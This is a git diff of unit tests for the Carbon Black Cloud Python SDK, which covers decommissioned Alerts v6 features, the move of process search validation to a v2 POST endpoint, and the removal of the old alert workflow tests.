b/src/tests/unit/platform/test_platform_alerts_sdk150_breaking_changes.py new file mode 100644 index 000000000..f823be42a --- /dev/null +++ b/src/tests/unit/platform/test_platform_alerts_sdk150_breaking_changes.py @@ -0,0 +1,348 @@ +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. + +"""Tests of the Alerts V6 features that are not supported in Alerts v7, SDK v1.5.0 onwards.""" +import pytest + +from cbc_sdk.errors import FunctionalityDecommissioned +from cbc_sdk.platform import ( + Alert, + BaseAlert, + CBAnalyticsAlert, + WatchlistAlert, + DeviceControlAlert, + ContainerRuntimeAlert, + HostBasedFirewallAlert +) +from cbc_sdk.rest_api import CBCloudAPI + +from tests.unit.fixtures.CBCSDKMock import CBCSDKMock +from tests.unit.fixtures.platform.mock_alert_v6_v7_compatibility import ( + GET_ALERT_v7_CB_ANALYTICS_RESPONSE, + GET_ALERT_v7_WATCHLIST_RESPONSE, + GET_ALERT_v7_DEVICE_CONTROL_RESPONSE, + GET_ALERT_v7_HBFW_RESPONSE, + GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE +) + +# Legacy alert types to test methods against as each sub-type may override the baseAlert implementation +# Base Alert does not support the string as class name, called as the base case in each test. +ALERT_TYPES = [ + "CBAnalyticsAlert", + "WatchlistAlert", + "DeviceControlAlert", + "ContainerRuntimeAlert", + "HostBasedFirewallAlert" +] + +DEPRECATED_FIELDS_CB_ANALYTICS = [ + "blocked_threat_category", + "kill_chain_status", + "not_blocked_threat_category", + "threat_activity_dlp", + "threat_activity_phish", + "threat_cause_vector", + "category", + "group_details", + "threat_cause_threat_category" +] + +DEPRECATED_FIELDS_WATCHLISTS = [ + "category", + "group_details", + "threat_cause_threat_category", + "threat_cause_vector", + "count", + "document_guid", + "threat_indicators" +] + +DEPRECATED_FIELDS_DEVICE_CONTROL = [ + "category", + "group_details", + "threat_cause_threat_category", + "threat_cause_vector" +] + +DEPRECATED_FIELDS_CONTAINER_RUNTIME = [ + "target_value", + "category", + "group_details", + "workload_id", + "threat_cause_threat_category" +] + +DEPRECATED_FIELDS_HBFW = [ + "category", + "group_details", + "threat_cause_threat_category" +] + + +@pytest.fixture(scope="function") +def cb(): + """Create CBCloudAPI singleton""" + return CBCloudAPI(url="https://example.com", + org_key="test", + token="abcd/1234", + ssl_verify=False) + + +@pytest.fixture(scope="function") +def cbcsdk_mock(monkeypatch, cb): + """Mocks CBC SDK for unit tests""" + return CBCSDKMock(monkeypatch, cb) + + +# ==================================== UNIT TESTS BELOW ==================================== + +def test_set_categories(cb): + """Test the set_categories method on each legacy alert class.""" + with pytest.raises(FunctionalityDecommissioned): + cb.select(BaseAlert).set_categories(["MONITORED"]) + + for a_type in ALERT_TYPES: + with pytest.raises(FunctionalityDecommissioned): + cb.select(a_type).set_categories(["MONITORED"]) + + +def test_set_group_results(cb): + """Test the set_categories method on each legacy alert class.""" + with pytest.raises(FunctionalityDecommissioned): + cb.select(BaseAlert).set_group_results(False) + + for a_type in ALERT_TYPES: + with pytest.raises(FunctionalityDecommissioned): + cb.select(a_type).set_group_results(False) + + +def test_set_kill_chain_statuses(cb): + """Test the set_kill_chain_statuses method on each legacy alert class.""" + with pytest.raises(FunctionalityDecommissioned): + cb.select(BaseAlert).set_kill_chain_statuses(["WEAPONIZE"]) + + for a_type in ALERT_TYPES: + with pytest.raises(FunctionalityDecommissioned): + cb.select(a_type).set_kill_chain_statuses(["WEAPONIZE"]) + + +def test_set_blocked_threat_categories(cb): + """Test the set_kill_chain_statuses method on base and CBAnalytics legacy alert class.""" + with pytest.raises(FunctionalityDecommissioned): + cb.select(BaseAlert).set_blocked_threat_categories(["UNKNOWN"]) + + with pytest.raises(FunctionalityDecommissioned): + cb.select(CBAnalyticsAlert).set_blocked_threat_categories(["UNKNOWN"]) + + +def test_set_not_blocked_threat_categories(cb): + """Test the set_kill_chain_statuses method on base and CBAnalytics legacy alert class.""" + with pytest.raises(FunctionalityDecommissioned): + cb.select(BaseAlert).set_not_blocked_threat_categories(["UNKNOWN"]) + + with pytest.raises(FunctionalityDecommissioned): + cb.select(CBAnalyticsAlert).set_not_blocked_threat_categories(["UNKNOWN"]) + + +def test_set_threat_cause_vectors(cb): + """Test the set_kill_chain_statuses method on base and CBAnalytics legacy alert class.""" + with pytest.raises(FunctionalityDecommissioned): + cb.select(BaseAlert).set_threat_cause_vectors(["EMAIL"]) + + with pytest.raises(FunctionalityDecommissioned): + cb.select(CBAnalyticsAlert).set_threat_cause_vectors(["EMAIL"]) + + with pytest.raises(FunctionalityDecommissioned): + cb.select(DeviceControlAlert).set_threat_cause_vectors(["EMAIL"]) + + with pytest.raises(FunctionalityDecommissioned): + cb.select(WatchlistAlert).set_threat_cause_vectors(["EMAIL"]) + + +def test_set_workload_ids(cb): + """Test the set_kill_chain_statuses method on base and CBAnalytics legacy alert class.""" + with pytest.raises(FunctionalityDecommissioned): + cb.select(BaseAlert).set_workload_ids(["UNKNOWN"]) + + with pytest.raises(FunctionalityDecommissioned): + cb.select(ContainerRuntimeAlert).set_workload_ids(["UNKNOWN"]) + + +def test_get_attr_cb_analytics_alert(cbcsdk_mock): + """Test the __get_attr_ method for each attribute that applies to cb_analytics alerts.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(BaseAlert, GET_ALERT_v7_CB_ANALYTICS_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_CB_ANALYTICS: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + # test again with CBAnalyticsAlert class + alert = cb.select(CBAnalyticsAlert, GET_ALERT_v7_CB_ANALYTICS_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_CB_ANALYTICS: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + +def test_get_on_basealert_class(cbcsdk_mock): + """Test the get() method for one valid v7 attribute for the BaseAlert.get() method that overrides base.py.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(BaseAlert, GET_ALERT_v7_CB_ANALYTICS_RESPONSE.get("id")) + + val = alert.get("reason_code") + assert "T_REP_VIRUS" == val + + +def test_get_on_alert_class(cbcsdk_mock): + """Test the get() method for one valid v7 attribute for the new Alert.get() method that overrides base.py.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(Alert, GET_ALERT_v7_CB_ANALYTICS_RESPONSE.get("id")) + + val = alert.get("reason_code") + assert "T_REP_VIRUS" == val + + +def test_get_on_cbanalytics_alert_class(cbcsdk_mock): + """Test the get() method for one valid v7 attribute for the CBAnalyticsAlert.get() method that overrides base.py.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(CBAnalyticsAlert, GET_ALERT_v7_CB_ANALYTICS_RESPONSE.get("id")) + + val = alert.get("reason_code") + assert "T_REP_VIRUS" == val + + +def test_get_attr_container_runtime_alert(cbcsdk_mock): + """Test the __get_attr_ method for each attribute that applies to container runtime alerts.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/46b419c8-3d67-ead8-dbf1-9d8417610fac", + GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(BaseAlert, GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_CONTAINER_RUNTIME: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + # test again with Container Runtime class + alert = cb.select(ContainerRuntimeAlert, GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_CONTAINER_RUNTIME: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + +def test_get_attr_device_control_alert(cbcsdk_mock): + """Test the __get_attr_ method for each attribute that applies to device control alerts.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/b6a7e48b-1d14-11ee-a9e0-888888888788", + GET_ALERT_v7_DEVICE_CONTROL_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(BaseAlert, GET_ALERT_v7_DEVICE_CONTROL_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_DEVICE_CONTROL: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + # test again with Device Control class + alert = cb.select(DeviceControlAlert, GET_ALERT_v7_DEVICE_CONTROL_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_DEVICE_CONTROL: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + +def test_get_attr_hbfw_alert(cbcsdk_mock): + """Test the __get_attr_ method for each attribute that applies to host based firewall alerts.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/2be0652f-20bc-3311-9ded-8b873e28d830", + GET_ALERT_v7_HBFW_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(BaseAlert, GET_ALERT_v7_HBFW_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_HBFW: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + # test again with Host Based Firewall class + alert = cb.select(HostBasedFirewallAlert, GET_ALERT_v7_HBFW_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_HBFW: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + +def test_get_attr_watchlists_alert(cbcsdk_mock): + """Test the __get_attr_ method for each attribute that applies to watchlist alerts.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/f6af290d-6a7f-461c-a8af-cf0d24311105", + GET_ALERT_v7_WATCHLIST_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(BaseAlert, GET_ALERT_v7_WATCHLIST_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_WATCHLISTS: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + # test again with Watchlist class + alert = cb.select(WatchlistAlert, GET_ALERT_v7_WATCHLIST_RESPONSE.get("id")) + + for f in DEPRECATED_FIELDS_WATCHLISTS: + with (pytest.raises(FunctionalityDecommissioned)): + alert.get(f) + + +def test_get_attr_alert_invalid_attrib(cbcsdk_mock): + """Test the __get_attr_ method for an invalid attribute on Alert.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(Alert, GET_ALERT_v7_CB_ANALYTICS_RESPONSE.get("id")) + + with (pytest.raises(AttributeError)): + alert.invalid_field + + +def test_get_attr_basealert_invalid_attrib(cbcsdk_mock): + """Test the __get_attr_ method for an invalid attribute on BaseAlert.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(BaseAlert, GET_ALERT_v7_CB_ANALYTICS_RESPONSE.get("id")) + + with (pytest.raises(AttributeError)): + alert.invalid_field + + +def test_get_attr_cbalnalyticsalert_invalid_attrib(cbcsdk_mock): + """Test the __get_attr_ method for an invalid attribute on CBAnalyticsAlert.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(CBAnalyticsAlert, GET_ALERT_v7_CB_ANALYTICS_RESPONSE.get("id")) + + with (pytest.raises(AttributeError)): + alert.invalid_field + + +def test_get_attr_alert_deprecated_v6_attrib(cbcsdk_mock): + """Test the __get_attr_ method for a v6 attribute that has been deprecated.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + cb = cbcsdk_mock.api + alert = cb.select(Alert, GET_ALERT_v7_CB_ANALYTICS_RESPONSE.get("id")) + + with (pytest.raises(FunctionalityDecommissioned)): + alert.kill_chain_status diff --git a/src/tests/unit/platform/test_platform_dynamic_reference.py b/src/tests/unit/platform/test_platform_dynamic_reference.py index d4a2d796d..860f1a64f 100644 --- a/src/tests/unit/platform/test_platform_dynamic_reference.py +++ b/src/tests/unit/platform/test_platform_dynamic_reference.py @@ -7,7 +7,7 @@ from tests.unit.fixtures.CBCSDKMock import CBCSDKMock from tests.unit.fixtures.platform.mock_grants import QUERY_GRANT_RESP from tests.unit.fixtures.platform.mock_process import ( - GET_PROCESS_VALIDATION_RESP, + POST_PROCESS_VALIDATION_RESP, POST_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESULTS_RESP, @@ -58,18 +58,18 @@ def test_raise_ModelNotFound(cbcsdk_mock): class TestReferenceAlerts: """Testing all types of `Alerts`""" - def test_BaseAlert_select(self, monkeypatch, cbcsdk_mock): - """Test the dynamic reference for the `BaseAlert` class.""" + def test_Alert_select(self, monkeypatch, cbcsdk_mock): + """Test the dynamic reference for the `Alert` class.""" stub = StubResponse({"num_found": 1, "results": [{"id": "1"}]}) patch_cbc_sdk_api( monkeypatch, cbcsdk_mock.api, POST=lambda *args, **kwargs: stub ) - query = cbcsdk_mock.api.select("BaseAlert").one() - assert type(query).__qualname__ == "BaseAlert" + query = cbcsdk_mock.api.select("Alert").one() + assert type(query).__qualname__ == "Alert" def test_CBAnalyticsAlert_select(self, monkeypatch, cbcsdk_mock): """Test the dynamic reference for the `CBAnalyticsAlert` class.""" - stub = StubResponse({"num_found": 1, "results": [{"id": "1"}]}) + stub = StubResponse({"num_found": 1, "results": [{"id": "1", "type": "CBAnalyticsAlert"}]}) patch_cbc_sdk_api( monkeypatch, cbcsdk_mock.api, POST=lambda *args, **kwargs: stub ) @@ -77,9 +77,19 @@ def test_CBAnalyticsAlert_select(self, monkeypatch, cbcsdk_mock): a = query.one() assert type(a).__qualname__ == "CBAnalyticsAlert" + def test_ContainerRuntimeAlert_select(self, monkeypatch, cbcsdk_mock): + """Test the dynamic reference for the `ContainerRuntimeAlert` class.""" + stub = StubResponse({"num_found": 1, "results": [{"id": "1", "type": "ContainerRuntimeAlert"}]}) + patch_cbc_sdk_api( + monkeypatch, cbcsdk_mock.api, POST=lambda *args, **kwargs: stub + ) + query = cbcsdk_mock.api.select("ContainerRuntimeAlert").where("Blort") + a = query.one() + assert type(a).__qualname__ == "ContainerRuntimeAlert" + def test_DeviceControlAlert_select(self, monkeypatch, cbcsdk_mock): """Test the dynamic reference for the `DeviceControlAlert` class.""" - stub = StubResponse({"num_found": 1, "results": [{"id": "1"}]}) + stub = StubResponse({"num_found": 1, "results": [{"id": "1", "type": "DeviceControlAlert"}]}) patch_cbc_sdk_api( monkeypatch, cbcsdk_mock.api, POST=lambda *args, **kwargs: stub ) @@ -88,7 +98,7 @@ def test_DeviceControlAlert_select(self, monkeypatch, cbcsdk_mock): def test_WatchlistAlert_select(self, monkeypatch, cbcsdk_mock): """Test the dynamic reference for the `WatchlistAlert` class.""" - stub = StubResponse({"num_found": 1, "results": [{"id": "1"}]}) + stub = StubResponse({"num_found": 1, "results": [{"id": "1", "type": "WatchlistAlert"}]}) patch_cbc_sdk_api( monkeypatch, cbcsdk_mock.api, POST=lambda *args, **kwargs: stub ) @@ -135,12 +145,9 @@ def test_Process_select(self, cbcsdk_mock): """Test the dynamic reference for the `Process` class.""" # mock the search validation cbcsdk_mock.mock_request( - "GET", - "/api/investigate/v1/orgs/Z100/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP, + "POST", + "/api/investigate/v2/orgs/Z100/processes/search_validation", + POST_PROCESS_VALIDATION_RESP, ) # mock the POST of a search cbcsdk_mock.mock_request( @@ -211,9 +218,9 @@ def test_Process_Tree_select(self, cbcsdk_mock): """Test the dynamic reference for the `Process.Tree` class.""" # mock the search validation cbcsdk_mock.mock_request( - "GET", - "/api/investigate/v1/orgs/Z100/processes/search_validation", - GET_PROCESS_VALIDATION_RESP, + "POST", + "/api/investigate/v2/orgs/Z100/processes/search_validation", + POST_PROCESS_VALIDATION_RESP, ) # mock the POST of a search cbcsdk_mock.mock_request( diff --git a/src/tests/unit/platform/test_platform_events.py b/src/tests/unit/platform/test_platform_events.py index 6901aa9e9..003086a3c 100644 --- a/src/tests/unit/platform/test_platform_events.py +++ b/src/tests/unit/platform/test_platform_events.py @@ -14,7 +14,7 @@ EVENT_SEARCH_RESP_PART_TWO, EVENT_FACETS_RESP, EVENT_FACETS_RESP_INCOMPLETE) -from tests.unit.fixtures.platform.mock_process import (GET_PROCESS_VALIDATION_RESP, +from tests.unit.fixtures.platform.mock_process import (POST_PROCESS_VALIDATION_RESP, POST_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESULTS_RESP) @@ -42,12 +42,8 @@ def cbcsdk_mock(monkeypatch, cb): def test_event_query_process_select_with_guid(cbcsdk_mock): """Test Event Querying with GUID inside process.select()""" # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation" - "?process_guid=J7G6DTLN%5C-006633e3%5C-00000334%5C-00000000%5C-1d677bedfbb1c2e" - "&q=process_guid%3AJ7G6DTLN%5C-006633e3%5C-00000334%5C-00000000%5C-1d677bedfbb1c2e" - "&query=process_guid%3AJ7G6DTLN%5C-006633e3%5C-00000334%5C-00000000%5C-1d677bedfbb1c2e", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) diff --git a/src/tests/unit/platform/test_platform_models.py b/src/tests/unit/platform/test_platform_models.py index 63ef94ef0..82bc6ef7d 100755 --- a/src/tests/unit/platform/test_platform_models.py +++ b/src/tests/unit/platform/test_platform_models.py @@ -11,8 +11,7 @@ """Tests of the model object methods in the Platform API.""" -import pytest -from cbc_sdk.platform import Device, BaseAlert, WorkflowStatus +from cbc_sdk.platform import Device from cbc_sdk.rest_api import CBCloudAPI from tests.unit.fixtures.stubresponse import StubResponse, patch_cbc_sdk_api @@ -213,142 +212,3 @@ def _update_sensor_version(url, body, **kwargs): dev = Device(api, 6023, {"id": 6023}) dev.update_sensor_version({"RHEL": "2.3.4.5"}) assert _was_called - - -def test_BaseAlert_dismiss(monkeypatch): - """Test dismissal of an alert.""" - _was_called = False - - def _do_dismiss(url, body, **kwargs): - nonlocal _was_called - assert url == "/appservices/v6/orgs/Z100/alerts/ESD14U2C/workflow" - assert body == {"state": "DISMISSED", "remediation_state": "Fixed", "comment": "Yessir"} - _was_called = True - return StubResponse({"state": "DISMISSED", "remediation": "Fixed", "comment": "Yessir", - "changed_by": "Robocop", "last_update_time": "2019-10-31T16:03:13.951Z"}) - - api = CBCloudAPI(url="https://example.com", token="ABCD/1234", org_key="Z100", ssl_verify=True) - patch_cbc_sdk_api(monkeypatch, api, POST=_do_dismiss) - alert = BaseAlert(api, "ESD14U2C", {"id": "ESD14U2C", "workflow": {"state": "OPEN"}}) - alert.dismiss("Fixed", "Yessir") - assert _was_called - assert alert.workflow_.changed_by == "Robocop" - assert alert.workflow_.state == "DISMISSED" - assert alert.workflow_.remediation == "Fixed" - assert alert.workflow_.comment == "Yessir" - assert alert.workflow_.last_update_time == "2019-10-31T16:03:13.951Z" - - -def test_BaseAlert_undismiss(monkeypatch): - """Test undismissal of an alert.""" - _was_called = False - - def _do_update(url, body, **kwargs): - nonlocal _was_called - assert url == "/appservices/v6/orgs/Z100/alerts/ESD14U2C/workflow" - assert body == {"state": "OPEN", "remediation_state": "Fixed", "comment": "NoSir"} - _was_called = True - return StubResponse({"state": "OPEN", "remediation": "Fixed", "comment": "NoSir", - "changed_by": "Robocop", "last_update_time": "2019-10-31T16:03:13.951Z"}) - - api = CBCloudAPI(url="https://example.com", token="ABCD/1234", org_key="Z100", ssl_verify=True) - patch_cbc_sdk_api(monkeypatch, api, POST=_do_update) - alert = BaseAlert(api, "ESD14U2C", {"id": "ESD14U2C", "workflow": {"state": "DISMISS"}}) - alert.update("Fixed", "NoSir") - assert _was_called - assert alert.workflow_.changed_by == "Robocop" - assert alert.workflow_.state == "OPEN" - assert alert.workflow_.remediation == "Fixed" - assert alert.workflow_.comment == "NoSir" - assert alert.workflow_.last_update_time == "2019-10-31T16:03:13.951Z" - - -def test_BaseAlert_dismiss_threat(monkeypatch): - """Test dismissal of a threat alert.""" - _was_called = False - - def _do_dismiss(url, body, **kwargs): - nonlocal _was_called - assert url == "/appservices/v6/orgs/Z100/threat/B0RG/workflow" - assert body == {"state": "DISMISSED", "remediation_state": "Fixed", "comment": "Yessir"} - _was_called = True - return StubResponse({"state": "DISMISSED", "remediation": "Fixed", "comment": "Yessir", - "changed_by": "Robocop", "last_update_time": "2019-10-31T16:03:13.951Z"}) - - api = CBCloudAPI(url="https://example.com", token="ABCD/1234", org_key="Z100", ssl_verify=True) - patch_cbc_sdk_api(monkeypatch, api, POST=_do_dismiss) - alert = BaseAlert(api, "ESD14U2C", {"id": "ESD14U2C", "threat_id": "B0RG", "workflow": {"state": "OPEN"}}) - wf = alert.dismiss_threat("Fixed", "Yessir") - assert _was_called - assert wf.changed_by == "Robocop" - assert wf.state == "DISMISSED" - assert wf.remediation == "Fixed" - assert wf.comment == "Yessir" - assert wf.last_update_time == "2019-10-31T16:03:13.951Z" - - -def test_BaseAlert_undismiss_threat(monkeypatch): - """Test undismissal of a threat alert.""" - _was_called = False - - def _do_update(url, body, **kwargs): - nonlocal _was_called - assert url == "/appservices/v6/orgs/Z100/threat/B0RG/workflow" - assert body == {"state": "OPEN", "remediation_state": "Fixed", "comment": "NoSir"} - _was_called = True - return StubResponse({"state": "OPEN", "remediation": "Fixed", "comment": "NoSir", - "changed_by": "Robocop", "last_update_time": "2019-10-31T16:03:13.951Z"}) - - api = CBCloudAPI(url="https://example.com", token="ABCD/1234", org_key="Z100", ssl_verify=True) - patch_cbc_sdk_api(monkeypatch, api, POST=_do_update) - alert = BaseAlert(api, "ESD14U2C", {"id": "ESD14U2C", "threat_id": "B0RG", "workflow": {"state": "OPEN"}}) - wf = alert.update_threat("Fixed", "NoSir") - assert _was_called - assert wf.changed_by == "Robocop" - assert wf.state == "OPEN" - assert wf.remediation == "Fixed" - assert wf.comment == "NoSir" - assert wf.last_update_time == "2019-10-31T16:03:13.951Z" - - -def test_WorkflowStatus(monkeypatch): - """Test retrieval of the workflow status.""" - _times_called = 0 - - def _get_workflow(url, parms=None, default=None): - nonlocal _times_called - assert url == "/appservices/v6/orgs/Z100/workflow/status/W00K13" - if _times_called >= 0 and _times_called <= 3: - _stat = "QUEUED" - elif _times_called >= 4 and _times_called <= 6: - _stat = "IN_PROGRESS" - elif _times_called >= 7 and _times_called <= 9: - _stat = "FINISHED" - else: - pytest.fail("_get_workflow called too many times") - _times_called = _times_called + 1 - return {"errors": [], "failed_ids": [], "id": "W00K13", "num_hits": 0, "num_success": 0, "status": _stat, - "workflow": {"state": "DISMISSED", "remediation": "Fixed", "comment": "Yessir", - "changed_by": "Robocop", "last_update_time": "2019-10-31T16:03:13.951Z"}} - - api = CBCloudAPI(url="https://example.com", token="ABCD/1234", org_key="Z100", ssl_verify=True) - patch_cbc_sdk_api(monkeypatch, api, GET=_get_workflow) - wfstat = WorkflowStatus(api, "W00K13") - assert wfstat.workflow_.changed_by == "Robocop" - assert wfstat.workflow_.state == "DISMISSED" - assert wfstat.workflow_.remediation == "Fixed" - assert wfstat.workflow_.comment == "Yessir" - assert wfstat.workflow_.last_update_time == "2019-10-31T16:03:13.951Z" - assert _times_called == 1 - assert wfstat.queued - assert not wfstat.in_progress - assert not wfstat.finished - assert _times_called == 4 - assert not wfstat.queued - assert wfstat.in_progress - assert not wfstat.finished - assert _times_called == 7 - assert not wfstat.queued - assert not wfstat.in_progress - assert wfstat.finished - assert _times_called == 10 diff --git a/src/tests/unit/platform/test_platform_process.py b/src/tests/unit/platform/test_platform_process.py index 4f4cde0ed..5c16b80d8 100644 --- a/src/tests/unit/platform/test_platform_process.py +++ b/src/tests/unit/platform/test_platform_process.py @@ -15,7 +15,7 @@ GET_PROCESS_SUMMARY_RESP_ZERO_CONTACTED, GET_PROCESS_SUMMARY_RESP_NO_HASH, GET_PROCESS_SUMMARY_RESP_NO_PID, - GET_PROCESS_VALIDATION_RESP, + POST_PROCESS_VALIDATION_RESP, POST_PROCESS_SEARCH_JOB_RESP, POST_TREE_SEARCH_JOB_RESP, GET_PROCESS_NOT_FOUND, @@ -62,13 +62,12 @@ def cbcsdk_mock(monkeypatch, cb): def test_process_select(cbcsdk_mock): """Testing Process Querying with select()""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -270,13 +269,12 @@ def test_summary_select_set_time_range_failures(cbcsdk_mock): def test_process_events(cbcsdk_mock): """Testing Process.events().""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -308,13 +306,12 @@ def test_process_events(cbcsdk_mock): def test_process_events_with_criteria_exclusions(cbcsdk_mock): """Testing the add_criteria() method when selecting events.""" + def on_validation_post(url, body, **kwargs): + assert body == {"query": "process_guid:WNEXFKQ7\\-0002b226\\-000015bd\\-00000000\\-1d6225bbba74c00"} + return POST_PROCESS_VALIDATION_RESP + # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", on_validation_post) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) @@ -357,15 +354,14 @@ def test_process_events_with_criteria_exclusions(cbcsdk_mock): assert events_query_params == expected_params -def test_process_events_exceptions(cbcsdk_mock): - """Testing raising an Exception when using Query.add_criteria() and 